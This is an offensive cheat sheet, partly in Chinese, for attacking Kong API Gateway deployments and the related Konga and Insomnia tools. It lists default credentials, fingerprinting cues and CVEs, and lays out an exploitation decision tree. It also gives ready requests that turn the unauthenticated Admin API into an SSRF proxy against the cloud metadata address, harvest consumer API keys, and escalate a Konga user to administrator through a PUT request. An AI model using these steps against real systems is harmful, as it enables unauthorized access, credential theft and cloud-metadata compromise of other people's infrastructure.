Kong API Gateway vulnerability exploitation skills
- Product: Kong Gateway + Konga (Web management UI) + Kong Insomnia (API client)
- Default ports: 8000 (Proxy), 8443 (Proxy SSL), 8001 (Admin API), 8444 (Admin SSL), 1337 (Konga)
- Identification features: Response header
X-Kong-Response-Latency; Admin API returns {"welcome":"Welcome to kong"}
- Default credentials: Kong Admin has no authentication; Konga: admin/admin
Vulnerability overview
| Vulnerability ID |
Affected versions |
Type |
Impact |
| CVE-2020-11710 |
Kong <=2.0.3 |
Admin API unauthorized exposure |
Critical (9.8) |
| Kong Admin SSRF |
All versions |
Service+Route proxy SSRF |
Critical |
| CVE-2021-44103 |
Konga 0.14.9 |
Regular user to administrator privilege escalation |
High (8.8) |
| CVE-2025-1087 |
Insomnia <11.0.2 |
Nunjucks template injection RCE |
Critical (9.8) |
| CVE-2025-1353 |
Insomnia <=10.3.0 |
DLL hijacking code execution |
Critical |
Exploitation decision tree
1. 识别Kong → GET :8001/ → "Welcome to kong" / 响应头 X-Kong-Response-Latency
2. Admin API (8001) → 未授权访问 → SSRF代理 / 凭据泄露 / 完全控制网关
3. Konga (1337) → 默认凭据 admin/admin → CVE-2021-44103 提权Admin
4. Insomnia (桌面) → CVE-2025-1087 模板注入RCE
5. 后利用 → 读取 Services/Routes/Plugins/Consumers → 发现后端架构+凭据
Exploitation chain priority
1. Admin API未授权 → SSRF代理 → 内部服务/云元数据
2. Admin API → 读取Services/Routes → 后端架构
3. Admin API → 读取Plugins → 认证配置
4. Admin API → 读取Consumers → API Key/凭据
5. Konga默认凭据 → Admin权限 → 管理Kong
6. CVE-2021-44103 → Konga普通用户提权
7. CVE-2025-1087 → Insomnia RCE (需社工)
Quick reference
| Endpoint |
Port |
Purpose |
Authentication |
/ (Proxy) |
8000 |
Proxy request |
View route configuration |
/ (Admin) |
8001 |
Admin API |
Default none |
/services |
8001 |
Service management |
None |
/routes |
8001 |
Route management |
None |
/plugins |
8001 |
Plugin management |
None |
/consumers |
8001 |
Consumer management |
None |
/status |
8001 |
Node status |
None |
/ (Konga) |
1337 |
Web management UI |
Login required |
SSRF quick reference
POST /services name=ssrf url=http://169.254.169.254
POST /routes name=ssrf hosts[]=meta.local service.id=<ID>
curl http://TARGET:8000/ -H "Host: meta.local"
DELETE /routes/ssrf && DELETE /services/ssrf
Konga privilege escalation quick reference
POST /login → token + user_id
PUT /api/user/<id> → {"admin":"true","token":"<token>","passports":{...}}
Reference documents
